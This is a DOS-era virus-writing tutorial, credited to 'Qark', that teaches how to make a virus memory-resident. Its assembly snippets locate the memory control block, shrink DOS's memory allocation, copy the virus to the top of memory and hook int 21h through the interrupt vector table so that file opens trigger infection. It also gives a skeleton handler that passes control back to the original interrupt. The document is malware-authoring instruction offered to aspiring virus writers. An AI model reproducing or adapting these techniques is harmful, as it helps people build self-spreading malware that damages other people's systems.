TSR tutorial! +-----------+ Of course when first learning to do something you must start from the very beginning, writing a TSR virus comes round about after the parasitic stage. If you can't do this, then I suggest you study up on it before checking this out :). According to some releasing even a parasitic infector is lame, so heh.. I guess this might come in handy for someone. Ok, well here goes the tutorial: When a program is loaded, the memory around it looks like this: | | | | | This is the EXE/COM | | Program that is | | infected. | |______________________| |Program Segment Prefix| | (Shortened to PSP) | This is 100H bytes long.(256 bytes) |______________________| | Memory Control Block | | (Shortened to MCB) | This is 10H bytes long. (16 bytes) |______________________| On entry to both COM and EXE files DS and ES contain the segment of the PSP (Program Segment Prefix). To get the MCB (Memory Control Block) we go: mov ax,ds ;DS=PSP dec ax mov ds,ax ;Now DS=MCB This is because the MCB hides one paragraph (paragraph=16 bytes) below the PSP. The MCB is what DOS uses to allocate memory. MCB Format ;****************** DS:[0] = MCB Type. - Either Z or M block. DS:[3] = Size of block / 16. ;****************** Next go: cmp ds:[0],'Z' ;We want a Z block because Z are the last. jne fuck_off sub ds:[3],memory_we_want/16 ;Now DOS thinks it has less memory. So we put ;the virus in the gap. In the PSP at position 2 is the segment address of the top of memory. To save us calculating it from the MCB it is much easier to manipulate this data. So: sub ds:[12h],memory_we_want/16 ;DS:[12h] now contains the segment where we put our virus. mov ax,word ptr ds:[12h] mov es,ax ;ES=Place to put virus. push cs pop ds ;DS=CS xor di,di ;We assume SI=Start of virus. mov cx,virus_length ;How many bytes to move. rep movsb ;Move CX bytes from DS:SI to ES:DI ;That should move your virus to the TOM (top of memory) I have started rushing here. Not too fast I hope. Now what you have to do is point your interrupt (int21h) at the handler within your virus. Setting the interrupt vector manually (without using int21h) is best because then you can infect COMMAND.COM safely. Anyway, the interrupt vector table is located at segment 0. xor ax,ax ;Zero AX mov ds,ax ;DS=0=Interrupt Vector table. All interrupts are located at their number multiplied by four. They are laid down with the offset first and then the segment. mov ds:[21h*4],offset int21handler ;Offset of virus routine mov ds:[21h*4+2],es ;Segment of virus routine This code will set int21h to run your virus handler. But before putting your virus in memory you should save the original Offset:Segment in your handler so that you can return to it later on. Your handler should look like this: int21handler proc far cmp ah,3dh ;This is file open. jne go_int push everything do infection and shit pop everything go_int: db 0eah ;This stands for jmpf dw orig_int21_offset dw orig_int21_segment int21handler endp There's also other stuff like checking for residency where you pass into int 21h a unique register pattern and test for it and return another weird pattern to confirm its residency. But I'm sure you'll work it out. Ok, that'll do for another lame tutorial by Qark. Look out for more lame tutorials, beleive me, there'll be many! :) (With intro by Metabolis)